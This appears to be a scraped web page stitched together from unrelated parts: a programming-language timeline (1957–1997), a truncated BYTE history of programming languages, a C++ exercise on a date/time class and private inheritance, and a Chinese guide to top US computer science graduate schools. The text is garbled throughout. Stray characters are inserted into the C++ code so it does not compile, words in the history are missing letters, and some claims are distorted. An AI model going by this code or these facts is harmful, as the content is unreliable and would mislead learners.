1957 Scope Writer (for TX-2) (Jack Gilmore)
1957 Lincoln Writer (for TX-2) (Jack Gilmore)
1958 APT (Automatically Programmed Tool)
1958 FLOW-MATIC (for UNIVAC, Remington-Rand) (Grace Hopper)
1958c SOAP assembler (for IBM 650)
1958 IR (Information Retrieval) database management system (for IBM 704)
1958 LISP (List Processing language) (John McCarthy, MIT)
1958 AIMACO data processing language
1958 IPL V list processing language
1959 DYNAMO III
1959 TUFF/TUG (for IBM 704)
1959 9PAC file handling (for IBM 709)
1959 FACT business data processing language
1959 SURGE (for IBM 704) (Fletcher Jones)
1959 SAGE operating system (for IBM AN/FSQ7) (System Development Corp.)
1959c SAP assembler (for IBM 704)
1959c ASCI-Matic (Jack Minker)
1959 COBOL (December release)
1960 Atlas operating system for Atlas Computer)
(Manchester Univ. & Ferranti)
1960 ALGOL 60 (Algorithmic Language)
1960 COBOL (Common Business Oriented Language)
1960 JOVIAL (Jules Own Version of Int. Algebraic Language) (Jules Schwartz)
1960 MAD (Michigan Algorithm Decoder)
1960 NELIAC (Navy Electronics Laboratory International Algol Compiler)
1960 TRAC string processing language
1960 SCEPTRE
1960 IOCS operating system (for IBM 709/7090)
1960 FMS operating system (for IBM 709) (North American Aviation)
1961 COBOL revised and reissued
1961 SOS operating system (for IBM 709) (SHARE and IBM)
1961 GPSS (General Purpose Systems Simulator)
1961 SAC/Aids Formatted File System (for SAC 438L system) (SAC)
1961 BASE-BALL natural language system (B.V. Green)
1961 QUERY database (T. E. Cheatham, S. Warshall)
1961 RPG (Report Program Generator) (for IBM 1401)
1961 MADCAP scientific programming language
1961 ALGY formula manipulation language
1961 GECOM business data processing language
1961 QUICKTRAN on-line programming language
1961 Expensive Typewriter (IBM 360) (Stephen Piner)
1961 COBOL 61 Extended
1962 CTSS operating system (for IBM 7090 & IBM 7094) (Dr.F. Corbato, MIT)
1962 Gen. Info. & Retrieval System (GIRLS) for IBM 7090 (J.A. Postley, AIS)
1962 EXEC 1 operating system (for Univac 1107) (Computer Sciences Corp.)
1962 APL (A Programming Language) (Kenneth Iverson)
1962 IBSYS operating system (IBM 7090)
1962 Advanced Data Management System (ADAM) (for IBM 7030) (MITRE)
1962 COLINGO database (for IBM 1401)
1962 FORMAC formula manipulation
1962 SNOBOL (String Oriented Symbolic Language)
1963 Master Control Program operating system (for Burroughs B5000)
1963 COGO (Coordinate Geometry)
1963 Information Processing System (IPS) (for CDC 1604) (NAVCOSSACT)
1963 JOSS (Johnniac Open Shop System) (J.Cliff Shaw, Rand Corporation)
1963 CORC scientific programming language
1963 OMNIT AB scientific programming language
1963 Ambit
1964 Integrated Data Store (I-D-S) (Charles Bachman, General Electric)
1964 OS/360 operating system (for IBM 360)
1964 BASIC (Beginners All-Purpose Symbolic Instruction Code)
(John Kemeny, Thomas Kurtz, Dartmouth College)
1964 FORMAC (Formula Manipulation Compiler) for non-numeric mathematics
(Jean Sammet)
1964 PAT on-line programming language
1964 PL/1 (developed by IBM and SHARE)
1964 Altran
1965 Generalized Update Access Method (GUAM) (IBM 7010)
(developed by North American Space Division)
1965 Remote Access Terminal System (for IBM 7010)
(developed by IBM, and Rockwell International)
1965 Generalized Information System (GIS) (for IBM System/360)
1965 DENDRAL (Edward Fiegenbaum, Joshua Lederberg (Stanford University)
1965 C-10 database management system (IBM 1410) (developed by MITRE)
1965 COGENT report generator (for IBM 709)
1965 CPS on-line programming language
1965 RUSH on-line programming language
1965 Amtran on-line programming language
1965 FLAP formula manipulation programming language
1965 CLP list processing language
1965c MULTICS interactive operating system (for GE/Honeywell 645)
(developed by GE, Bell Labs & MIT)
1965 TRAC
1965 SNOBOL 3
1966 SIMULA I (Kristen Nygaard, Ole-Lohan Dahl) (First Object Oriented Language)
1966 TOSS operating system (for IBM System/360) (developed by RCA)
1966 Dialog on-line programming language
1966 MAP on-line programming language
1966 NAPSS scientific programming language
1966 Euler scientific programming language
1966 Coursewriter II
1966 OMNITAB II
1966 ECAP II (Electronic Circuit Analysis Program II)
1966 MPSX (Mathematical Programming System Extended)
1967 RAMIS non-proceral programming language (Mathematical)
1967 MANAGE database management system (for XDS 940 computer)
(developed by Scientific Data Systems)
1967 AS-IST database management system (for IBM System/360)
(developed by Applications Software)
1967 LUCID database management system (for AN/FSQ32)
(developed by System Development)
1967 ICES (Integrated Civil Engineering System)
1967 CSSL (Continuous Systems Simulation Language)
1967 Simula 67 (Simulation Language 1967)
1967 CPUL programming language
1967 POSE scientific programming language
1967 MAC-30 programming language
1967 DIAGMAG scientific programming language
1967 REDUCE formula manipulation language
1967 SPRINT list processing language
1967 LOLITA list processing language
1967 EOL-3 string processing language
1967 LEAP multipurpose programming language
1967 SNOBOL 4
1968 ALGOL 68 (Algorithmic Language)
1968 ATLAS (Abbreviated Test Language for "All" Systems)
1968 CSMP (Continuous System Modeling Program)
1968 Speakeasy
1968 OS/MFT operating system (for IBM 360 computers)
1968 TSS operating system (for IBM 360/370)
1968 MCP operating system (for Burroughs for B2500 and B3500)
1968 PAL programming language
1968 Proteus programming language
1968 GPL general purpose programming language
1968 TPS
1968 Salem
1968 Ariel
1968 Bruin
1968 TLC
1968 Termac
1968 Active Language 1
1968 Symbal
1968 Champ
1969 MUMPS (Massachusetts General Hospital General Utility
Multi-Programming System)
1969 PILOT
1969 CP-67/CMS operating system (for IBM 360 computer)
1969 OS/MVT operating system (for IBM 360 computer)
1969 Data Manager-1 (developed by Auerbach)
1969 UNIX multi-user, multitasking operating system development begun at Bell Labs
1969 Cobol Data Management System (CDMS) (for IBM 360)
(developed by Defense Intelligence Agency)
1969 Information Management System (IMS) hierarchical database management
system (developed by IBM)
1969 TSOS operating system (for Spectra 70/46) (developed by RCA)
1969 Time Shared Data Management System (TSDMS) (for IBM 360)
1969 Remote File Management System (for CDC 6000)
(developed at University of Texas)
1969 McG360 programming language
1969 DML programming language
1969 REL programming language
1969 PLANNER programming language
1969 REF-ARF programming language
1969 IITRAN multipurpose programming language
1969 APAREL multipurpose programming language
1969 NUCLEOL string processing language
1969 LEAF list processing language
1969 IAM formula manipulation language
1969 PPL on-line programming language
1969 OSCAR on-line programming language
1969 TRANQUIL scientific programming language
1969 SPEAKEASY scientific programming language
1969 STIL scientific programming language
1969 Music V (Max Mathews)
1969 Scratchpad
1970 BLISS (Basic Language for Implementation of System Software)
1970 SC-1 database management system (for IBM 360)
(developed by Western Electric)
1970 DMS data management system (for Sigma 5,7,9 computers)
(developed by Xerox Data Systems)
1970 S2000 data management system (for CDC 6000)(developed by SRI Systems)
1970 AIDS scientific programming language
1970 IIMP scientific programming language
1970 POEL scientific programming language
1970 LPL list processing language
1970 BALM list processing language
1970 Gedanken programming language
1970c Macsyma programming language (Joel Moses, MIT)
1970 Vulcan
1970 PDEL
1970 Pascal (Niklaus Wirth)
1971 VMOS operating system (for Spectra computers) (developed by RCA)
1971 ETC programming language
1971 TUTOR
1971 ISPL (Instruction Set Processor Language)
1971 FORMAC formula manipulation language
1971 HAL/S A programming language used aboard the Space Shuttle Columbia
1972 SMALLTALK object-oriented language (Alan Kay; Xerox)
1972 PL/M high-level language for microprocessor
1972 VS/9 operating system (for UNIVAC Series 90)
1972 Development of C language (Dennis Ritchie)
1973 BS2000 operating system (for Siemens 7500)
1973 VM 1370 operating system (for IBM 370 series)
1973 OS/VS operating system (for IBM 370 series)
1973 Pholas data management system (for Philips P1000)
1973 PDS/MaGEN (Problem Descriptor System)
1974 PL/M
1975 SPSS (Statistical Programs for the Social Sciences)
1975 OS/MVS operating system (for IBM 370 series)
1975 UNIX licensed by Western Electric for academic and commercial sectors
1975 ADA programming language developed for U.S. Dept. of Defense
1975 MDQS (Management Data Query System) developed by Honeywell
1976 Mola multiprocessing language (Niklaus Wirth)
1976 SMALLTALK 76 (Alan Kay, Adele Goldberg, Daniel H. H. Ingalis; Xerox PARC)
1977 CP/M (Control Program for Microprocessors) (Gary Kildall)
1979 VisiCalc electronic spreadsheet software for microcomputers
1979 X-CON (aka RI) expert system (Carnegie-Mellon University)
(used at Digital Equipment Corporation)
1980 INTELLECT natural language query system
(Artificial Intelligence Corporation)
1980 CPF operating system (for IBM System/38 minicomputer)
1980 C++ (Bjarne Stroustrup, Bell Labs)
1981 MS/DOS (Microsoft Disk Operating System)
developed by Microsoft Corporation) (IBM version called PC/DOS)
1983 KEE (expert systems development tool) IntelliCorp.
198? Objective C (Brad Cox; Stepstone Corporation)
1988 Windows 386 version 2.0 Released by Microsoft Corporation
1990 (April) Windows 3.0 released by Microsoft Corporation
1991 Windows NT Server version 3.1 released by Microsoft Corporation
1994 Windows NT Server version 3.5 released by Microsoft Corporation
1995 Windows 95 (microcomputer operating system and interface, Microsoft Corporation)
1995 JAVA (James Gosling, Sun Microsystems)
1996 Windows NT Server version 4.0 released by Microsoft Corporation
1996 "Inferno" under development by Dennis Ritchie and others
1996 (March) Microsoft’s Active X is released
1996 (October) Sun Microsystems SunSoft division releases JavaBeans
1996 Symantec’s Visual Cafe 1.0 tool (supports JavaBeans model)
1996 Delphi announces JBuilder (formerly code-named Latte)
1996 IBM’s Visual Age (supports JavaBean)
1996 Powersoft announces Jato (originally code-named Starbuck) (supports JavaBeans)
1996 Oracle Corporation announces Sedona, a development tools technology
1997 Microsoft Windows NT 5.0
编程语言历史
《BYTE》:A Brief History of Programming Languages
We’ve come a long way from computers programmed with wires and punch cards. Maybe not as far as some would like, though. Here are the innovations in programming.
ca. 1946
Konrad Zuse , a German engineer working alone while hiding out in the Bavarian Alps, develops Plankalkul. He applies the language to, among other things, chess.
--------------------------------------------------------------------------------
1949
Short Code , the first computer language actually used on an electronic computing device, appears. It is, however, a "hand-compiled" language.
--------------------------------------------------------------------------------
1951
Grace Hopper , working for Remington Rand, begins design work on the first widely known compiler, named A-0. When the language is released by Rand in 1957, it is called MATH-MATIC.
--------------------------------------------------------------------------------
1952
Alick E. Glennie , in his spare time at the University of Manchester, devises a programming system called AUTOCODE, a rudimentary compiler.
--------------------------------------------------------------------------------
1957
FORTRAN --mathematical FORmula TRANslating system--appears. Heading the team is John Backus, who goes on to contribute to the development of ALGOL and the well-known syntax-specification system known as BNF.
--------------------------------------------------------------------------------
1958
FORTRAN II appears, able to handle subroutines and links to assembly language. John McCarthy at M.I.T. begins work on LISP--LISt Processing.
The original specification for ALGOL appears. The specific ation does not describe how data will be input or output; that is left to the indivial implementations.
--------------------------------------------------------------------------------
1959
LISP 1.5 appears. COBOL is created by the Conference on Data Systems and Languages (CODASYL).
--------------------------------------------------------------------------------
1960
ALGOL 60 , the first block-structured language, appears. This is the root of the family tree that will ultimately proce the likes of Pascal. ALGOL goes on to become the most popular language in Europe in the mid- to late-1960s.
Sometime in the early 1960s , Kenneth Iverson begins work on the language that will become APL--A Programming Language. It uses a specialized character set that, for proper use, requires APL-compatible I/O devices.
--------------------------------------------------------------------------------
1962
APL is documented in Iverson’s book, A Pro gramming Language .
FORTRAN IV appears.
Work begins on the sure-fire winner of the "clever acronym" award, SNOBOL--StriNg-Oriented symBOlic Language. It will spawn other clever acronyms: FASBOL, a SNOBOL compiler (in 1971), and SPITBOL--SPeedy ImplemenTation of snoBOL--also in 1971.
--------------------------------------------------------------------------------
1963
ALGOL 60 is revised.
Work begins on PL/1.
--------------------------------------------------------------------------------
1964
APL\360 is implemented.
At Dartmouth University , professors John G. Kemeny and Thomas E. Kurtz invent BASIC. The first implementation is a compiler. The first BASIC program runs at about 4:00 a.m. on May 1, 1964.
PL/1 is released.
-----------------------------------------------------------------------------
1965
SNOBOL3 appears.
--------------------------------------------------------------------------------
1966
FORTRAN 66 appears.
LISP 2 appears.
Work begins on LOGO at Bolt, Beranek, & Newman. The team is headed by Wally Fuerzeig and includes Seymour Papert. LOGO is best known for its "turtle graphics."
--------------------------------------------------------------------------------
1967
SNOBOL4 , a much-enhanced SNOBOL, appears.
--------------------------------------------------------------------------------
1968
ALGOL 68 , a monster compared to ALGOL 60, appears. Some members of the specifications committee--including C.A.R. Hoare and Niklaus Wirth--protest its approval. ALGOL 68 proves difficult to implement.
ALTRAN , a FORTRAN variant, appears.
COBOL is officially defined by ANSI.
Niklaus Wirth begins work on Pascal.
--------------------------------------------------------------------------------
1969
500 people attend an APL conference at IBM’s headquarters in Armonk, New York. The demands for APL’s distribution are so great that the event is later referred to as "The March on Armonk."
--------------------------------------------------------------------------------
1970
Sometime in the early 1970s , Charles Moore writes the first significant programs in his new language, Forth.
Work on Prolog begins about this time.
Also sometime in the early 1970s , work on Smalltalk begins at Xerox PARC, led by Alan Kay. Early versions will include Smalltalk-72, Smalltalk-74, and Smalltalk-76.
An implementation of Pascal appears on a CDC 6000-series computer.
Icon , a descendant of SNOBOL4, appears.
--------------------------------------------------------------------------------
1972
The manuscript for Konrad Zuse’s Plankalkul (see 1946) is finally published.
Denni s Ritchie proces C. The definitive reference manual for it will not appear until 1974.
The first implementation of Prolog -- by Alain Colmerauer and Phillip Roussel -- appears.
--------------------------------------------------------------------------------
1974
Another ANSI specification for COBOL appears.
--------------------------------------------------------------------------------
1975
⑻ C++编程题
16。
#include <iostream>
#include <iomanip>
using namespace std;
enum YR{Y2000,Y2001,Y2002,Y2003,Y2004,Y2005};//
enum MT{Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec};
class Timedate{
private:
YR year;
MT month;
int date;
int hh;
int mm;
int ss;
public:
Timedate(){year=Y2000;month=Jan;date=1;hh=0;mm=0;ss=0;}
Timedate(YR a,MT b,int c){
year=a;
month=b;
date=c;
hh=12;mm=30;ss=0;
}
void getdate(YR &,MT &,int &);//使用引用一次取得3个数值
void gettime(int &,int &,int &);
void putdate(YR ,MT ,int );
void puttime(int ,int ,int );
void list();
};
void Timedate::getdate(YR &y,MT &m,int &d){
y=year;
m=month;
d=date;
}
void Timedate::gettime(int &a,int &b,int &c){
a=hh;
b=mm;
c=ss;
}
void Timedate::putdate(YR a,MT b,int c){
year=a;
month=b;
date=c;
}
void Timedate::puttime(int a,int b,int c){
hh=a;
mm=b;
ss=c;
}
void Timedate::list(){//成员函数,直接访问私有的数据成员
cout<<"year/month/date :";
switch(year){
case Y2000:cout<<"2000";break;
case Y2001:cout<<"2001";break;
case Y2002:cout<<"2002";break;
case Y2003:cout<<"2003";break;
case Y2004:cout<<"2004";break;
case Y2005:cout<<"2005";break;
}
switch(month){
case Jan:cout<<'/'<<"Jan";break;
case Feb:cout<<'闭缓唤/'<<"Feb";break;
case Mar:cout<<'/'<<"Mar";break;
case Apr:cout<<'/'<<"Apr";break;
case May:cout<<'/'<<"May";break;
case Jun:cout<<'/'<<"Jun";break;
case Jul:cout<<'/'<<"Jul";break;
case Aug:cout<<'/'<<"Aug";break;
case Sep:cout<<'/'<<"Sep";break;
case Oct:cout<<'/'<<"Oct";break;
case Nov:cout<<'/'<<"Nov";break;
case Dec:cout<<'/'<<"Dec";break;
}
cout<<轿凯'/'<<date<<endl;
cout<<"hour:minite:second :";
cout<<hh<<':'<<mm<<':'<<ss<<endl;
}
void list(Timedate td){//普通函数,通过接口函数访问私有的数据成员
YR year;
MT month;
int date;
int hh;
int mm;
int ss;
td.getdate(year,month,date);
cout<哪罩<"year/month/date :";
switch(year){
case Y2000:cout<<"2000";break;
case Y2001:cout<<"2001";break;
case Y2002:cout<<"2002";break;
case Y2003:cout<<"2003";break;
case Y2004:cout<<"2004";break;
case Y2005:cout<<"2005";break;
}
switch(month){//,,,,,,,,
case Jan:cout<<'/'<<"Jan";break;
case Feb:cout<<'/'<<"Feb";break;
case Mar:cout<<'/'<<"Mar";break;
case Apr:cout<<'/'<<"Apr";break;
case May:cout<<'/'<<"May";break;
case Jun:cout<<'/'<<"Jun";break;
case Jul:cout<<'/'<<"Jul";break;
case Aug:cout<<'/'<<"Aug";break;
case Sep:cout<<'/'<<"Sep";break;
case Oct:cout<<'/'<<"Oct";break;
case Nov:cout<<'/'<<"Nov";break;
case Dec:cout<<'/'<<"Dec";break;
}
td.gettime(hh,mm,ss);
cout<<'/'<<date<<endl;
cout<<"hour:minite:second :";
cout<<hh<<':'<<mm<<':'<<ss<<endl;
}
int main(){
Timedate A(Y2004,Mar,3),B;
A.list();
B.list();
B.putdate(Y2005,Oct,18);
B.puttime(17,30,00);
list(B);
return 0;
}
17.
类A中有成员变量a 和成员变量b 。
类B由类A继承产生。
类A中成员变量a对于类B不可见。
类A中成员变量b对于类B可见,但对外部程序不可见。
class A {
private:
int a;
public:
int b;
};
class B: private A { //私有继承后,A中的a对于B是不可见的,A的b对于B是可见的,但对于外部是不可见的
...
};
⑼ 大二的计算机专业,想留学美国,请大家给点建议
前20名
CS——Computer Science的简称,即计算机科学。
总的来说,计算机专业前20名的学校可分成三类:
A.4个最为优秀的CS Program:Stanford,MIT,U.C.Berkeley,CMU。
B.6个其他前10名的:UIUC,Cornell,U.Washington,Princeton,U.Wisconsin- Madison和 U.Texas-Austin。其中UIUC,Cornell,U.Washington和 U.Wisconsin-Madison几乎从未出过前10名。
C.其他非常非常优秀的CS:CalTech,U.Maryland-College Park,UCLA,U.Michigan, GIT,Brown,Harvard,Yale,Pure和 Rice。
1. 斯坦福大学(Stanford University)
Stanford的CS是个很大个的CS,拥有40人以上的Faculty成员,其中不乏响当当、硬梆梆的图灵奖得主(Edward A.Feigenbaum, John McCarthy)和各个学科领域的大腕人物,比如理论方面的权威Donald E. Knuth;数据库方面的Jeffrey D. Ullman(他还写过那本着名的编译原理,此人出自Princeton);以及RISC技术挑头人之一的John Hennessy。相信CS的同学对此并不陌生。该系每年毕业30多名Ph.D.以及更多的Master。学生的出路自然是如鱼得水,无论学术界还是工业界,Stanford的学生都倍受青睐。几乎所有前10 名的CS学校中都有Stanford的毕业生充当教授。
毕业于U. of Utah的Jim Clark曾经在Stanford CS当教授。后来就是这个人创办了高性能计算机和科学计算可视化方面巨牛的SGI公司。SUN公司名字的来历是Stanford University Network。顺便提一下,创办 YAHOO的华人杨致远曾在斯坦福的EE攻读博士,后来中途辍学办了YAHOO。
CS科研方面,斯坦福在理论、数据库、软件、硬件、手森AI等领域都是实力强劲的顶级
高手。斯坦福的RISC技术后来成为SGI/MIPS的Rx000系列微处理器的核心技术;DASH,FLASH项目更是多处理器并行计算机研究的前沿;SUIF并行化编译器成为国家资助的重点
项目,在国际学术论文中SUIF编译器的提及似乎能为某些平庸的论文平添几分姿色。
Stanford有学生14000多,其中研究生7000多;CS有175人攻读博士,350人攻读硕士。每年招收的学生数不详,估计少不了。但不要忘了,每年申请Stanford CS的学生接近千人。申请费高达$80。
斯坦福大学位于信息世界的心脏地带——硅谷。加州宜人的气候,美丽的风景使得
Stanford堪称CS的天堂。33.1平方公里的校园面积怕是够学子们翻江倒海,叱咤风云的
了。
2. 麻省理工学院(Massachusetts Inst. of Technology)
MIT招生好像不看GRE成绩。MIT的CS是巨牛的,99年最新排名上它和斯坦福同被打了
5.0的满分,两者并列第一。MIT的CS曾为CS的发展作出不可磨灭的贡献,数据流计算的
思想和数据流计算机、人工智能方面的许多重大成就,影响了整个UNIX界的X-Window…橡中
… MIT 和 Stanford一样,几乎都是在CS界样样巨牛的学校。据某位大侠提供的资料:
MIT的 Media Arts and Sciences知名度不在Computer Department之下。主要是多媒体技术,信息处理,人工智能等。有一大批着名的教授,如Marvin Minsky(图灵奖获得者)。
3. 加州大学伯克利分校(University of California-Berkeley)
同样地处旧金山湾畔,硅谷地带,离Stanford大约只有50公里的UC. Berkeley是美国最激进的学校之一。60年代的嬉皮文化,反越战,东方神秘主义,回归自然文化都起
源于此。诗人爱伦金斯堡是当年UC. Berkeley的代言人。
在当今高科技领域UC. Berkeley在缔造新的神话毕如亩,在文学、数学、化学、新闻等20
多个大的学科领域位居前3名。16个诺贝尔奖得主,总数近200的科学院院士、工程院院
士,连同众多在硅谷商战中成为亿万富翁的伯克利人撑起了一面汇集天下英才的大旗。
INTEL总裁Andrew Grove,就是毕业于UC. Berkeley。
BSD版的UNIX影响了整个CS界,伯克利的RISC技术后来成为了SUN公司SPARC微处理器的核心技术,David Patterson接下了一个6亿美元的项目用于新型计算机体系结构,特别是IRAM的研究开发。
UC. Berkeley有学生30000多,研究生超过8500人。申请费和加州大学的其他分校一样,$40。据一项最近的调查,伯克利已经成为美国大学生最向往的研究生院,高居榜首,其申请的难度可想而知。
UC. Berkeley的CS是个大系,Faculty中有图灵奖得主以及像Patterson这样的巨牛。CS科研方面,UC. Berkeley也是样样强。
旧金山湛蓝起伏的海湾,苍翠绵延的山峦,舒心宜人的气候,以及近在咫尺的硅谷
……
这一切的一切不也使得UC. Berkeley俨然一个CS学子的世外桃源吗?
4. 卡耐基梅隆大学(Carnegie Mellon University)
CMU是个位于匹兹堡的不大的学校,学生7000多,校园好像也不大。但这个学校在工
程及其他一些领域却是顶尖的学堂。CMU的CS不是一个系,而是一个学院,其规模之大,
可能只有Stanford,UIUC可与之相比。Mach操作系统,PVM,C.mmp等都有CMU的巨大贡献。
申请CMU的难度很大,因为尽管CMU的CS Faculty很多,但每年只招收不足30人的研
究生队伍。
5. 伊利诺斯大学(Univ. of Illinois-Urbana-Champaign)
UIUC的工程学院在全美是至尊级的,其CS,ECE,EE在历史上都屡建战功。在CS方面
,从早期的超级计算机ILLIAC I,II,III,IV到后来的CEDAR,都是CS发展史上,特别是并行计算机发展史上的重要事件,影响和引导了CS很长时期的发展。David Kuck曾是
并行计算机处理界的一代先驱。
超级计算机研究开发中心(CSRD),美国国家超级计算及应用中心(NCSA)等众多
的机构,使得UIUC的CS常常成为研发的领头雁。
大家可能还记得,Netscape-Navigator的最初开发人员中有个Marc Anderssen。这位来自Wisconsin 的小伙子在UIUC读本科,大四的时候在NCSA参与编写了MOSAIC;后来他去了硅谷,并在那里遇到了前面提到过的Jim Clark,SGI的前创始人,两人一见如故,联手创办了着名的网景Netscape,并一度在浏览器市场上独霸武林。
还有Lotus Notes, 远程登录程序NCSA Telnet, 邮件程序Eudora等的作者,都是UIUC的毕业生。商务软件巨人Siebel Systems的创始人Tom Siebel,也是毕业于UIUC的。
UIUC是个大学校,学生总数超过35000,研究生院近万人。
UIUC的CS很大,40余个Faculty提供了全面的CS教育和科研项目。每年30多个博士的
毕业数目似乎只有Stanford可以匹敌。
UIUC的Polaris并行化编译器是这个领域能和Stanford的SUIF直接叫板的拳头产品,清华开发并行编程环境时选用了这个系统。
UIUC在计算机硬件、软件、AI、DB等领域都相当强大。特别是硬件,如前面提到的
ILLIAC,CEDAR等。
事实上,UIUC在超级计算机系统的研究开发方面绝不逊于MIT、Stanford等任何一个,甚至有过之而无不及。NCSA建立在UIUC这一事实本身就是佐证。UIUC CS的学生毕业后去学术界的不少,Stanford,UC. Berkeley等CS名校都有UIUC的博士挑大梁。但更多UIUC CS学人还是进入业界,成为业界实干的中坚。
6. 康奈尔大学(Cornell University)
作为IVY LEAGUE的成员和一所私立学校,Cornell有其独到的优势。在美国,私立学
校一般要比公立学校难进,其学生也是经过严格的选拔才录取的。Cornell的CS学生入校
后多能享受FELLOWSHIP的待遇,其个人经济条件非公立学校可比,加上贵族式校友的提
拔,私立学校的出路是很诱人的。康奈尔在理论计算机方面一直是顶级高手,但在其他
CS领域并不总在前10名。
Cornell学生18000多,研究生过5000人。CS每年招攻读Ph.D.的学生25人左右。
7. 华盛顿大学(University of Washington)
位于Seattle的U. of Washington得天独厚——计算机界的巨牛MS就在西雅图,而且更要命的是,Bill Gates就是那里的人。这位Harvard的辍学者给了哈佛许多MONEY,但同给U. of Washington的钱财相比,实在是小巫见大巫。
U. of Washington位于风光秀丽的WASHINGTON湖畔,气候四季如春。33000多学生中研究生有8000名左右。Seattle最令人厌恶的地方可能就是一年有160天会降水。
U. of Washington的CS较大,30多名Faculty成员,每年近20个优质博士毕业,以及大量的Master。估计每年的招生数应该不低。U. of Washington的CS在各个方面比较均衡,最强的软件排名第5,而其他领域一般也都能位居前10,好像没有明显很弱的地方。
图灵奖得主Dick Karp从UC. Berkeley告老还乡后又被返聘到了U. of Washington的CS。U. of Washington的CS要求很高,Ph.D.学生入学的平均GPA高达3.86,GRE2160以上,加上一般较早的DEADLINE,申请U. of Washington是相当有难度的。
8. 普林斯顿大学(Princeton University)
Princeton是个令人神往的地方,这里曾经是世界的科学中心。
Princeton的CS不大,18个Faculty成员,学生人数也不算多。科研上除了排名第5的理论,似乎还没注意到其他闪光点。但是,Princeton无疑培养出了大量计算机界的优秀人物,Jeffrey D. Ullman,John McCarthy等巨牛人物均出自大名鼎鼎的Princeton。在
Princeton领受的教育是最好的教育熏陶。
Princeton学校不大,只有6000多学生,研究生不过1700人。
9. 威斯康星大学(University of Wisconsin-Madison)
U. of Wisconsin-Madison的CS较大,35个Faculty成员,200多个研究生,每年招60—70个新生。目前几乎1/4的Faculty来自UC. Berkeley,博士生毕业后有去Stanford ,UC. Berkeley等牛校挑大梁的,但和UIUC类似,似乎进入业界的更多一些。然而要在这里拿到博士学位可不容易。超过七成的人,会在中途找到比较理想的工作后,拿着硕士文凭拔腿就跑,免得被那些无穷无尽的科研项目给整惨了。
U. of Wisconsin-Madison的数据库一直在前3位,经常是第1位。这里的数据库由于在设计实现DBMS系统上的传统优势,使其在业界的声誉相当崇高,据说Microsoft里有一帮Wisconsin校友从中兴风作浪,Oracle也格外青睐Wisconsin-Madison的学子。
Wisconsin的硬件、计算机体系结构实力巨牛,99排名第6,对业界相当有影响力。
微处理器中的超标量技术(SuperScalar)源于此地;多处理机CACHE一致性的总线侦听
SNOOPING协议,IEEE SCI协议等,都是源于此地。正在研究开发中的MultiScalar技术和 DataScalar技术据说可以把微处理器每个时钟周期的指令发射数提到10以上,大大地提高微处理器的计算能力。Wisconsin的软件99排名第7。主要是在系统软件方面做OS 的设计与实现,WEB上的CACHE策略,支持共享主存和消息传递两种并行编程模式及其混合的并行程序设计语言和编译器,以及由MIDSHIP项目挑起的关于并行与分布式计算,OODB,科学数据库,支持图象查询的新型查询语言以及图象处理等方面的研究。由于美国有大量的卫星图象需要及时处理,加上迫切需要GIS系统的研究开发,这方面的研发使得U. of Wisconsin-Madison捞到了不少经费。
Wisconsin和UIUC的CS理论都是前10名左右。Wisconsin的Carl de Boor是逼近理论 方面的大牛。
U. of Wisconsin-Madison是个大型的综合性学校,40000学生中研究生院的超过10 000,这万人中有博士生5000,硕士生3500,法学院、医学院、护理学院、兽医学院的职业学生2000人。2200多Faculty中有多位诺贝尔奖得主,52个院士,其中18个是工程院院士。
需要注意的是,Wisconsin的CS有点不同于其他许多学校,它隶属于College of Le
tters & Science,而不在College of Engineering下面。因此许多偏硬件的项目,比如嵌入式系统,网络硬件、路由,多媒体,通信,自控以及数字信号处理等项目不在CS D ept.,而是在工程院下的Dept. of Electrical & Computer Engineering,即ECE系。
那个系也挺大,比CS还要大不少。98年在工程类排名的计算机工程一项上排了第9位
。
10. 德克萨斯大学(University of Texas-Austin)
U. of Texas-Austin的CS较大,Faculty中好像有个图灵奖得主。该系发展比较平衡,最好的AI排第5,其他几个专业也多能挤进前十。
U. of Texas-Austin是个巨大的学校,5万学生,研究生院的可能有1.3万。但学校的主校区却好像面积不足,仅140公顷,按美国大学的标准,太不足了。
11. 加州理工学院(California Institute of Technology)
CIT的CS很小,只有大约5位教授,每年招很少的学生。虽然申请CIT是免费的,但建
议不要轻易尝试。由于系太小,CIT好像只是在计算机硬件和科学计算的可视化方面很强
。该系多年以来一直稳坐第11、12位几乎没动过窝;类似的情况还有斯坦福,MIT,稳居
第1、2位,Cornell稳居第5位,U. of Wisconsin-Madison稳居第9、10位。CIT的CS和其他系,比如数学、物理、生物等需要大量科学计算的部门联系很紧密。CIT学校也很小, 2000名学生中研究生占1100人。Faculty人数也不多,但几乎个个是巨牛,按平均水平看,CIT可能是世界上最牛的学校了。
12. 马里兰大学(University of Maryland at College Park)
U. of Maryland at CP是一个实力相当强劲的CS,软件第8,数据库第4,AI第9,三个专业都挤进了前10位,它的TINY系统有相当的知名度。
13. 加州大学洛杉矶分校(University of California-Los Angeles)
历史上UCLA的CS曾经一度辉煌,上到过第6(NRC\' 82),但近年来一直徘徊在第13 —15。而且CS的各个专业细目几乎没有一个能进前10名。尽管如此,UCLA的CS还是十分强大的。
UCLA辉煌的历史可能在于它对Internet的发展所作出的巨大贡献。六十年代美国的
ARPA在搞网络互连的开创性研究,ARPA网的四个节点是:UCLA,Stanford的SRI,UCSB和 U. of Utah。此时一位来自美国新英格兰地区的青年Vinton Cerf不去离家咫尺的Yale大学,远涉千里,来到了加州。他先在Stanford获得数学学士,然后到UCLA拿下了CS的硕士和博士。
毕业后Cerf一直在SRI从事ARPA网的研究,特别是研究如何让它无法正常工作。几年
后,Cerf与MIT一位到业界闯荡的数学教授Kyhn合作研发,搞出了一套软件系统用于网络
互连(1973年)。这就是TCP/IP协议的诞生。
UCLA作为INTERNET的先驱,地处阳光灿烂的南加州,应当成为CS学生的乐土。
UCLA有学生33000人,其中研究生院的占9900人。地处洛杉矶的UCLA周围几乎有玩不尽的地方:如DISNEY,HOLLYWOOD等。由于位于大城市,校园不是很大,但风景异常美丽。
UCLA的CS较大,规模应该和U. of Washington和U. of Wisconsin-Madison类似。
14. 密歇根大学(University of Michigan-Ann Arbor)
U. of Michigan 是个非常了不起的学校。在BIG TEN里,从综合的角度上说它可算
得上是领头羊了,当然UIUC, U. of Wisconsin-Madison也紧随其后。这里的CS偏硬的更厉害些,硬件排在第9,而计算机工程排第7,EE第5,都是前10名中的巨牛。Michigan 的CS和EE合在一起称为EECS系,是个相当大的系,每年招收的学生应当不在少数。
